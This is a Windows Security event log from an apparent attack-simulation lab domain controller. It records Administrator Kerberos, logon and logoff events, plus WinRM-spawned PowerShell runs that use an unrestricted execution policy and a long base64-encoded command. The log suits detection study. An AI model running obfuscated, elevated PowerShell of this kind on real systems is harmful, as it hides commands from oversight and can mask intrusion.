SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252369
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252368
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252367
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252366
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11e8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10bc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252365
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10bc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x520
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252364
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15A0B9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252363
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15A0B9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252362
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252361
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252360
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252359
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15A09D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252358
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15A09D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252357
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15A09D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252356
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252355
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252354
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252353
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1599E3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252352
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15935C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252453
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15D57F

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13c8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10dc
